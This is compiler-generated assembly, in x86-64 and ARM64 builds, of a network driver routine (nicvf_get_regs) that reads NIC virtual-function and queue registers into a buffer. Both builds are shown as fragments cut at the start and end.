_NIC_QSET_CQ_0_7_THRESH@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 12(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_BASE@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 16(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_HEAD@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 20(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_TAIL@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 24(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_DOOR@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 28(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_STATUS@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 32(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_STATUS2@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read leaq 10(%r13), %rbx movl %eax, 36(%r14,%r13,4) movq _NIC_QSET_CQ_0_7_DEBUG@GOTPCREL(%rip), %rax movl (%rax), %esi movq -64(%rbp), %rdi ## 8-byte Reload movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, 40(%r14,%r13,4) movq _MAX_CMP_QUEUES_PER_QS@GOTPCREL(%rip), %rax incl %r15d movl %ebx, %r12d orl $1, %r12d movq %rbx, %r13 movq -64(%rbp), %rbx ## 8-byte Reload cmpl (%rax), %r15d jl LBB0_16 LBB0_17: movq _MAX_RCV_QUEUES_PER_QS@GOTPCREL(%rip), %rax cmpl $0, (%rax) jle LBB0_20 ## %bb.18: movl %r12d, %eax movq -48(%rbp), %rcx ## 8-byte Reload leaq (%rcx,%rax,4), %r13 addq $8, %r13 xorl %r15d, %r15d .p2align 4, 0x90 LBB0_19: ## =>This Inner Loop Header: Depth=1 movq _NIC_QSET_RQ_0_7_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -8(%r13) movq _NIC_QSET_RQ_0_7_STAT_0_1@GOTPCREL(%rip), %r14 movl (%r14), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -4(%r13) movl (%r14), %esi orl $8, %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movq _MAX_RCV_QUEUES_PER_QS@GOTPCREL(%rip), %rcx movl %eax, (%r13) incl %r15d addq $12, %r13 addl $3, %r12d cmpl (%rcx), %r15d jl LBB0_19 LBB0_20: movq _MAX_SND_QUEUES_PER_QS@GOTPCREL(%rip), %rax cmpl $0, (%rax) jle LBB0_23 ## %bb.21: movl %r12d, %eax movq -48(%rbp), %rcx ## 8-byte Reload leaq (%rcx,%rax,4), %r13 addq $40, %r13 xorl %r15d, %r15d .p2align 4, 0x90 LBB0_22: ## =>This Inner Loop Header: Depth=1 movq _NIC_QSET_SQ_0_7_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -40(%r13) movq _NIC_QSET_SQ_0_7_THRESH@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -36(%r13) movq _NIC_QSET_SQ_0_7_BASE@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -32(%r13) movq _NIC_QSET_SQ_0_7_HEAD@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -28(%r13) movq _NIC_QSET_SQ_0_7_TAIL@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -24(%r13) movq _NIC_QSET_SQ_0_7_DOOR@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -20(%r13) movq _NIC_QSET_SQ_0_7_STATUS@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -16(%r13) movq _NIC_QSET_SQ_0_7_DEBUG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -12(%r13) movl $0, -8(%r13) movq _NIC_QSET_SQ_0_7_STAT_0_1@GOTPCREL(%rip), %r14 movl (%r14), %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movl %eax, -4(%r13) movl (%r14), %esi orl $8, %esi movq %rbx, %rdi movl %r15d, %edx callq _nicvf_queue_reg_read movq _MAX_SND_QUEUES_PER_QS@GOTPCREL(%rip), %rcx movl %eax, (%r13) incl %r15d addq $44, %r13 addl $11, %r12d cmpl (%rcx), %r15d jl LBB0_22 LBB0_23: movq _MAX_RCV_BUF_DESC_RINGS_PER_QS@GOTPCREL(%rip), %r15 cmpl $0, (%r15) jle LBB0_26 ## %bb.24: movl %r12d, %eax movq -48(%rbp), %rcx ## 8-byte Reload leaq (%rcx,%rax,4), %r12 addq $32, %r12 xorl %r14d, %r14d movq _NIC_QSET_RBDR_0_1_PREFETCH_STATUS@GOTPCREL(%rip), %r13 .p2align 4, 0x90 LBB0_25: ## =>This Inner Loop Header: Depth=1 movq _NIC_QSET_RBDR_0_1_CFG@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -32(%r12) movq _NIC_QSET_RBDR_0_1_THRESH@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -28(%r12) movq _NIC_QSET_RBDR_0_1_BASE@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -24(%r12) movq _NIC_QSET_RBDR_0_1_HEAD@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -20(%r12) movq _NIC_QSET_RBDR_0_1_TAIL@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -16(%r12) movq _NIC_QSET_RBDR_0_1_DOOR@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -12(%r12) movq _NIC_QSET_RBDR_0_1_STATUS0@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -8(%r12) movq _NIC_QSET_RBDR_0_1_STATUS1@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, -4(%r12) movl (%r13), %esi movq %rbx, %rdi movl %r14d, %edx callq _nicvf_queue_reg_read movl %eax, (%r12) incl %r14d addq $36, %r12 cmpl (%r15), %r14d jl LBB0_25 LBB0_26: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _NIC_VF_REG_COUNT,4,2 ## @NIC_VF_REG_COUNT .comm _NIC_VNIC_CFG,4,2 ## @NIC_VNIC_CFG .comm _NIC_PF_VF_MAILBOX_SIZE,4,2 ## @NIC_PF_VF_MAILBOX_SIZE .comm _NIC_VF_PF_MAILBOX_0_1,4,2 ## @NIC_VF_PF_MAILBOX_0_1 .comm _NIC_VF_INT,4,2 ## @NIC_VF_INT .comm _NIC_VF_INT_W1S,4,2 ## @NIC_VF_INT_W1S .comm _NIC_VF_ENA_W1C,4,2 ## @NIC_VF_ENA_W1C .comm _NIC_VF_ENA_W1S,4,2 ## @NIC_VF_ENA_W1S .comm _NIC_VNIC_RSS_CFG,4,2 ## @NIC_VNIC_RSS_CFG .comm _RSS_HASH_KEY_SIZE,4,2 ## @RSS_HASH_KEY_SIZE .comm _NIC_VNIC_RSS_KEY_0_4,4,2 ## @NIC_VNIC_RSS_KEY_0_4 .comm _TX_STATS_ENUM_LAST,4,2 ## @TX_STATS_ENUM_LAST .comm _NIC_VNIC_TX_STAT_0_4,4,2 ## @NIC_VNIC_TX_STAT_0_4 .comm _RX_STATS_ENUM_LAST,4,2 ## @RX_STATS_ENUM_LAST .comm _NIC_VNIC_RX_STAT_0_13,4,2 ## @NIC_VNIC_RX_STAT_0_13 .comm _NIC_QSET_RQ_GEN_CFG,4,2 ## @NIC_QSET_RQ_GEN_CFG .comm _MAX_CMP_QUEUES_PER_QS,4,2 ## @MAX_CMP_QUEUES_PER_QS .comm _NIC_QSET_CQ_0_7_CFG,4,2 ## @NIC_QSET_CQ_0_7_CFG .comm _NIC_QSET_CQ_0_7_CFG2,4,2 ## @NIC_QSET_CQ_0_7_CFG2 .comm _NIC_QSET_CQ_0_7_THRESH,4,2 ## @NIC_QSET_CQ_0_7_THRESH .comm _NIC_QSET_CQ_0_7_BASE,4,2 ## @NIC_QSET_CQ_0_7_BASE .comm _NIC_QSET_CQ_0_7_HEAD,4,2 ## @NIC_QSET_CQ_0_7_HEAD .comm _NIC_QSET_CQ_0_7_TAIL,4,2 ## @NIC_QSET_CQ_0_7_TAIL .comm _NIC_QSET_CQ_0_7_DOOR,4,2 ## @NIC_QSET_CQ_0_7_DOOR .comm _NIC_QSET_CQ_0_7_STATUS,4,2 ## @NIC_QSET_CQ_0_7_STATUS .comm _NIC_QSET_CQ_0_7_STATUS2,4,2 ## @NIC_QSET_CQ_0_7_STATUS2 .comm _NIC_QSET_CQ_0_7_DEBUG,4,2 ## @NIC_QSET_CQ_0_7_DEBUG .comm _MAX_RCV_QUEUES_PER_QS,4,2 ## @MAX_RCV_QUEUES_PER_QS .comm _NIC_QSET_RQ_0_7_CFG,4,2 ## @NIC_QSET_RQ_0_7_CFG .comm _NIC_QSET_RQ_0_7_STAT_0_1,4,2 ## @NIC_QSET_RQ_0_7_STAT_0_1 .comm _MAX_SND_QUEUES_PER_QS,4,2 ## @MAX_SND_QUEUES_PER_QS .comm _NIC_QSET_SQ_0_7_CFG,4,2 ## @NIC_QSET_SQ_0_7_CFG .comm _NIC_QSET_SQ_0_7_THRESH,4,2 ## @NIC_QSET_SQ_0_7_THRESH .comm _NIC_QSET_SQ_0_7_BASE,4,2 ## @NIC_QSET_SQ_0_7_BASE .comm _NIC_QSET_SQ_0_7_HEAD,4,2 ## @NIC_QSET_SQ_0_7_HEAD .comm _NIC_QSET_SQ_0_7_TAIL,4,2 ## @NIC_QSET_SQ_0_7_TAIL .comm _NIC_QSET_SQ_0_7_DOOR,4,2 ## @NIC_QSET_SQ_0_7_DOOR .comm _NIC_QSET_SQ_0_7_STATUS,4,2 ## @NIC_QSET_SQ_0_7_STATUS .comm _NIC_QSET_SQ_0_7_DEBUG,4,2 ## @NIC_QSET_SQ_0_7_DEBUG .comm _NIC_QSET_SQ_0_7_STAT_0_1,4,2 ## @NIC_QSET_SQ_0_7_STAT_0_1 .comm _MAX_RCV_BUF_DESC_RINGS_PER_QS,4,2 ## @MAX_RCV_BUF_DESC_RINGS_PER_QS .comm _NIC_QSET_RBDR_0_1_CFG,4,2 ## @NIC_QSET_RBDR_0_1_CFG .comm _NIC_QSET_RBDR_0_1_THRESH,4,2 ## @NIC_QSET_RBDR_0_1_THRESH .comm _NIC_QSET_RBDR_0_1_BASE,4,2 ## @NIC_QSET_RBDR_0_1_BASE .comm _NIC_QSET_RBDR_0_1_HEAD,4,2 ## @NIC_QSET_RBDR_0_1_HEAD .comm _NIC_QSET_RBDR_0_1_TAIL,4,2 ## @NIC_QSET_RBDR_0_1_TAIL .comm _NIC_QSET_RBDR_0_1_DOOR,4,2 ## @NIC_QSET_RBDR_0_1_DOOR .comm _NIC_QSET_RBDR_0_1_STATUS0,4,2 ## @NIC_QSET_RBDR_0_1_STATUS0 .comm _NIC_QSET_RBDR_0_1_STATUS1,4,2 ## @NIC_QSET_RBDR_0_1_STATUS1 .comm _NIC_QSET_RBDR_0_1_PREFETCH_STATUS,4,2 ## @NIC_QSET_RBDR_0_1_PREFETCH_STATUS .no_dead_strip _nicvf_get_regs .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function nicvf_get_regs _nicvf_get_regs: ; @nicvf_get_regs .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x2 mov x21, x1 bl _netdev_priv mov x19, x0 str xzr, [x21] Lloh0: adrp x8, _NIC_VF_REG_COUNT@GOTPAGE Lloh1: ldr x8, [x8, _NIC_VF_REG_COUNT@GOTPAGEOFF] Lloh2: ldr w2, [x8] mov x0, x20 mov w1, #0 ; =0x0 bl _memset Lloh3: adrp x8, _NIC_VNIC_CFG@GOTPAGE Lloh4: ldr x8, [x8, _NIC_VNIC_CFG@GOTPAGEOFF] Lloh5: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read str w0, [x20] Lloh6: adrp x22, _NIC_PF_VF_MAILBOX_SIZE@GOTPAGE Lloh7: ldr x22, [x22, _NIC_PF_VF_MAILBOX_SIZE@GOTPAGEOFF] ldr w8, [x22] tbnz w8, #31, LBB0_3 ; %bb.1: mov w23, #0 ; =0x0 mov x21, #-1 ; =0xffffffffffffffff Lloh8: adrp x24, _NIC_VF_PF_MAILBOX_0_1@GOTPAGE Lloh9: ldr x24, [x24, _NIC_VF_PF_MAILBOX_0_1@GOTPAGEOFF] LBB0_2: ; =>This Inner Loop Header: Depth=1 mov x25, x21 ldr w8, [x24] and w1, w8, w23 mov x0, x19 bl _nicvf_reg_read add x21, x21, #1 str w0, [x20, x25, lsl #2] ldr w8, [x22] add w23, w23, #8 cmp w21, w8 b.lt LBB0_2 b LBB0_4 LBB0_3: mov w21, #-1 ; =0xffffffff LBB0_4: Lloh10: adrp x8, _NIC_VF_INT@GOTPAGE Lloh11: ldr x8, [x8, _NIC_VF_INT@GOTPAGEOFF] Lloh12: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read add x23, x20, w21, sxtw #2 str w0, [x23] Lloh13: adrp x8, _NIC_VF_INT_W1S@GOTPAGE Lloh14: ldr x8, [x8, _NIC_VF_INT_W1S@GOTPAGEOFF] Lloh15: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read str w0, [x23, #4] Lloh16: adrp x8, _NIC_VF_ENA_W1C@GOTPAGE Lloh17: ldr x8, [x8, _NIC_VF_ENA_W1C@GOTPAGEOFF] Lloh18: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read str w0, [x23, #8] Lloh19: adrp x8, _NIC_VF_ENA_W1S@GOTPAGE Lloh20: ldr x8, [x8, _NIC_VF_ENA_W1S@GOTPAGEOFF] Lloh21: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read str w0, [x23, #12] Lloh22: adrp x8, _NIC_VNIC_RSS_CFG@GOTPAGE Lloh23: ldr x8, [x8, _NIC_VNIC_RSS_CFG@GOTPAGEOFF] Lloh24: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read add w22, w21, #5 str w0, [x23, #16] Lloh25: adrp x21, _RSS_HASH_KEY_SIZE@GOTPAGE Lloh26: ldr x21, [x21, _RSS_HASH_KEY_SIZE@GOTPAGEOFF] ldr w8, [x21] cmp w8, #1 b.lt LBB0_8 ; %bb.5: mov w24, #0 ; =0x0 mov x23, #0 ; =0x0 Lloh27: adrp x25, _NIC_VNIC_RSS_KEY_0_4@GOTPAGE Lloh28: ldr x25, [x25, _NIC_VNIC_RSS_KEY_0_4@GOTPAGEOFF] add x26, x20, w22, sxtw #2 LBB0_6: ; =>This Inner Loop Header: Depth=1 ldr w8, [x25] orr w1, w8, w24 mov x0, x19 bl _nicvf_reg_read str w0, [x26, x23, lsl #2] ldr w8, [x21] add x23, x23, #1 add w24, w24, #8 cmp w23, w8 b.lt LBB0_6 ; %bb.7: add w22, w22, w23 LBB0_8: Lloh29: adrp x23, _TX_STATS_ENUM_LAST@GOTPAGE Lloh30: ldr x23, [x23, _TX_STATS_ENUM_LAST@GOTPAGEOFF] ldr w8, [x23] cmp w8, #1 b.lt LBB0_11 ; %bb.9: mov w21, #0 ; =0x0 mov x24, #0 ; =0x0 Lloh31: adrp x25, _NIC_VNIC_TX_STAT_0_4@GOTPAGE Lloh32: ldr x25, [x25, _NIC_VNIC_TX_STAT_0_4@GOTPAGEOFF] add x22, x20, w22, sxtw #2 LBB0_10: ; =>This Inner Loop Header: Depth=1 ldr w8, [x25] orr w1, w8, w21 mov x0, x19 bl _nicvf_reg_read str w0, [x22, x24, lsl #2] ldr w8, [x23] add x24, x24, #1 add w21, w21, #8 cmp w24, w8 b.lt LBB0_10 b LBB0_12 LBB0_11: mov w21, #0 ; =0x0 LBB0_12: Lloh33: adrp x22, _RX_STATS_ENUM_LAST@GOTPAGE Lloh34: ldr x22, [x22, _RX_STATS_ENUM_LAST@GOTPAGEOFF] ldr w8, [x22] cmp w8, #1 b.lt LBB0_15 ; %bb.13: mov x23, #0 ; =0x0 Lloh35: adrp x24, _NIC_VNIC_RX_STAT_0_13@GOTPAGE Lloh36: ldr x24, [x24, _NIC_VNIC_RX_STAT_0_13@GOTPAGEOFF] LBB0_14: ; =>This Inner Loop Header: Depth=1 ldr w8, [x24] orr w1, w8, w21 mov x0, x19 bl _nicvf_reg_read str w0, [x20, x23, lsl #2] add x23, x23, #2 ldr w8, [x22] cmp w8, w23 b.gt LBB0_14 b LBB0_16 LBB0_15: mov w23, #0 ; =0x0 LBB0_16: Lloh37: adrp x8, _NIC_QSET_RQ_GEN_CFG@GOTPAGE Lloh38: ldr x8, [x8, _NIC_QSET_RQ_GEN_CFG@GOTPAGEOFF] Lloh39: ldr w1, [x8] mov x0, x19 bl _nicvf_reg_read str w0, [x20, w23, uxtw #2] orr w22, w23, #0x1 Lloh40: adrp x28, _MAX_CMP_QUEUES_PER_QS@GOTPAGE Lloh41: ldr x28, [x28, _MAX_CMP_QUEUES_PER_QS@GOTPAGEOFF] ldr w8, [x28] cmp w8, #1 b.lt LBB0_19 ; %bb.17: mov w21, #0 ; =0x0 mov w8, w23 add w24, w8, #10 add x8, x20, x8, lsl #2 add x25, x8, #20 Lloh42: adrp x23, _NIC_QSET_CQ_0_7_STATUS@GOTPAGE Lloh43: ldr x23, [x23, _NIC_QSET_CQ_0_7_STATUS@GOTPAGEOFF] Lloh44: adrp x26, _NIC_QSET_CQ_0_7_STATUS2@GOTPAGE Lloh45: ldr x26, [x26, _NIC_QSET_CQ_0_7_STATUS2@GOTPAGEOFF] Lloh46: adrp x27, _NIC_QSET_CQ_0_7_DEBUG@GOTPAGE Lloh47: ldr x27, [x27, _NIC_QSET_CQ_0_7_DEBUG@GOTPAGEOFF] LBB0_18: ; =>This Inner Loop Header: Depth=1 Lloh48: adrp x8, _NIC_QSET_CQ_0_7_CFG@GOTPAGE Lloh49: ldr x8, [x8, _NIC_QSET_CQ_0_7_CFG@GOTPAGEOFF] Lloh50: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x20, w22, uxtw #2] Lloh51: adrp x8, _NIC_QSET_CQ_0_7_CFG2@GOTPAGE Lloh52: ldr x8, [x8, _NIC_QSET_CQ_0_7_CFG2@GOTPAGEOFF] Lloh53: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x25, #-12] Lloh54: adrp x8, _NIC_QSET_CQ_0_7_THRESH@GOTPAGE Lloh55: ldr x8, [x8, _NIC_QSET_CQ_0_7_THRESH@GOTPAGEOFF] Lloh56: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x25, #-8] Lloh57: adrp x8, _NIC_QSET_CQ_0_7_BASE@GOTPAGE Lloh58: ldr x8, [x8, _NIC_QSET_CQ_0_7_BASE@GOTPAGEOFF] Lloh59: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x25, #-4] Lloh60: adrp x8, _NIC_QSET_CQ_0_7_HEAD@GOTPAGE Lloh61: ldr x8, [x8, _NIC_QSET_CQ_0_7_HEAD@GOTPAGEOFF] Lloh62: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x25] Lloh63: adrp x8, _NIC_QSET_CQ_0_7_TAIL@GOTPAGE Lloh64: ldr x8, [x8, _NIC_QSET_CQ_0_7_TAIL@GOTPAGEOFF] Lloh65: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x25, #4] Lloh66: adrp x8, _NIC_QSET_CQ_0_7_DOOR@GOTPAGE Lloh67: ldr x8, [x8, _NIC_QSET_CQ_0_7_DOOR@GOTPAGEOFF] Lloh68: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x25, #8] ldr w1, [x23] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x25, #12] ldr w1, [x26] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x25, #16] ldr w1, [x27] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x25, #20] add w21, w21, #1 ldr w8, [x28] orr w22, w24, #0x1 add w24, w24, #10 add x25, x25, #40 cmp w21, w8 b.lt LBB0_18 LBB0_19: Lloh69: adrp x23, _MAX_RCV_QUEUES_PER_QS@GOTPAGE Lloh70: ldr x23, [x23, _MAX_RCV_QUEUES_PER_QS@GOTPAGEOFF] ldr w8, [x23] cmp w8, #1 b.lt LBB0_22 ; %bb.20: mov w21, #0 ; =0x0 add x8, x20, w22, uxtw #2 add x24, x8, #8 Lloh71: adrp x25, _NIC_QSET_RQ_0_7_CFG@GOTPAGE Lloh72: ldr x25, [x25, _NIC_QSET_RQ_0_7_CFG@GOTPAGEOFF] Lloh73: adrp x26, _NIC_QSET_RQ_0_7_STAT_0_1@GOTPAGE Lloh74: ldr x26, [x26, _NIC_QSET_RQ_0_7_STAT_0_1@GOTPAGEOFF] LBB0_21: ; =>This Inner Loop Header: Depth=1 ldr w1, [x25] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-8] ldr w1, [x26] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-4] ldr w8, [x26] orr w1, w8, #0x8 mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x24], #12 add w21, w21, #1 ldr w8, [x23] add w22, w22, #3 cmp w21, w8 b.lt LBB0_21 LBB0_22: Lloh75: adrp x23, _MAX_SND_QUEUES_PER_QS@GOTPAGE Lloh76: ldr x23, [x23, _MAX_SND_QUEUES_PER_QS@GOTPAGEOFF] ldr w8, [x23] cmp w8, #1 b.lt LBB0_25 ; %bb.23: mov w21, #0 ; =0x0 add x8, x20, w22, uxtw #2 add x24, x8, #20 Lloh77: adrp x25, _NIC_QSET_SQ_0_7_DOOR@GOTPAGE Lloh78: ldr x25, [x25, _NIC_QSET_SQ_0_7_DOOR@GOTPAGEOFF] Lloh79: adrp x26, _NIC_QSET_SQ_0_7_STATUS@GOTPAGE Lloh80: ldr x26, [x26, _NIC_QSET_SQ_0_7_STATUS@GOTPAGEOFF] Lloh81: adrp x27, _NIC_QSET_SQ_0_7_DEBUG@GOTPAGE Lloh82: ldr x27, [x27, _NIC_QSET_SQ_0_7_DEBUG@GOTPAGEOFF] Lloh83: adrp x28, _NIC_QSET_SQ_0_7_STAT_0_1@GOTPAGE Lloh84: ldr x28, [x28, _NIC_QSET_SQ_0_7_STAT_0_1@GOTPAGEOFF] LBB0_24: ; =>This Inner Loop Header: Depth=1 Lloh85: adrp x8, _NIC_QSET_SQ_0_7_CFG@GOTPAGE Lloh86: ldr x8, [x8, _NIC_QSET_SQ_0_7_CFG@GOTPAGEOFF] Lloh87: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-20] Lloh88: adrp x8, _NIC_QSET_SQ_0_7_THRESH@GOTPAGE Lloh89: ldr x8, [x8, _NIC_QSET_SQ_0_7_THRESH@GOTPAGEOFF] Lloh90: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-16] Lloh91: adrp x8, _NIC_QSET_SQ_0_7_BASE@GOTPAGE Lloh92: ldr x8, [x8, _NIC_QSET_SQ_0_7_BASE@GOTPAGEOFF] Lloh93: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-12] Lloh94: adrp x8, _NIC_QSET_SQ_0_7_HEAD@GOTPAGE Lloh95: ldr x8, [x8, _NIC_QSET_SQ_0_7_HEAD@GOTPAGEOFF] Lloh96: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-8] Lloh97: adrp x8, _NIC_QSET_SQ_0_7_TAIL@GOTPAGE Lloh98: ldr x8, [x8, _NIC_QSET_SQ_0_7_TAIL@GOTPAGEOFF] Lloh99: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x24, #-4] ldr w1, [x25] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x24] ldr w1, [x26] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x24, #4] ldr w1, [x27] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stp w0, wzr, [x24, #8] ldr w1, [x28] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x24, #16] ldr w8, [x28] orr w1, w8, #0x8 mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read str w0, [x24, #20] add w21, w21, #1 ldr w8, [x23] add w22, w22, #11 add x24, x24, #44 cmp w21, w8 b.lt LBB0_24 LBB0_25: Lloh100: adrp x25, _MAX_RCV_BUF_DESC_RINGS_PER_QS@GOTPAGE Lloh101: ldr x25, [x25, _MAX_RCV_BUF_DESC_RINGS_PER_QS@GOTPAGEOFF] ldr w8, [x25] cmp w8, #1 b.lt LBB0_28 ; %bb.26: mov w21, #0 ; =0x0 add x8, x20, w22, uxtw #2 add x20, x8, #16 Lloh102: adrp x26, _NIC_QSET_RBDR_0_1_HEAD@GOTPAGE Lloh103: ldr x26, [x26, _NIC_QSET_RBDR_0_1_HEAD@GOTPAGEOFF] Lloh104: adrp x27, _NIC_QSET_RBDR_0_1_TAIL@GOTPAGE Lloh105: ldr x27, [x27, _NIC_QSET_RBDR_0_1_TAIL@GOTPAGEOFF] Lloh106: adrp x28, _NIC_QSET_RBDR_0_1_DOOR@GOTPAGE Lloh107: ldr x28, [x28, _NIC_QSET_RBDR_0_1_DOOR@GOTPAGEOFF] Lloh108: adrp x23, _NIC_QSET_RBDR_0_1_STATUS0@GOTPAGE Lloh109: ldr x23, [x23, _NIC_QSET_RBDR_0_1_STATUS0@GOTPAGEOFF] Lloh110: adrp x22, _NIC_QSET_RBDR_0_1_STATUS1@GOTPAGE Lloh111: ldr x22, [x22, _NIC_QSET_RBDR_0_1_STATUS1@GOTPAGEOFF] Lloh112: adrp x24, _NIC_QSET_RBDR_0_1_PREFETCH_STATUS@GOTPAGE Lloh113: ldr x24, [x24, _NIC_QSET_RBDR_0_1_PREFETCH_STATUS@GOTPAGEOFF] LBB0_27: ; =>This Inner Loop Header: Depth=1 Lloh114: adrp x8, _NIC_QSET_RBDR_0_1_CFG@GOTPAGE Lloh115: ldr x8, [x8, _NIC_QSET_RBDR_0_1_CFG@GOTPAGEOFF] Lloh116: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x20, #-16] Lloh117: adrp x8, _NIC_QSET_RBDR_0_1_THRESH@GOTPAGE Lloh118: ldr x8, [x8, _NIC_QSET_RBDR_0_1_THRESH@GOTPAGEOFF] Lloh119: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x20, #-12] Lloh120: adrp x8, _NIC_QSET_RBDR_0_1_BASE@GOTPAGE Lloh121: ldr x8, [x8, _NIC_QSET_RBDR_0_1_BASE@GOTPAGEOFF] Lloh122: ldr w1, [x8] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, [x20, #-8] ldr w1, [x26] mov x0, x19 mov x2, x21 bl _nicvf_queue_reg_read stur w0, 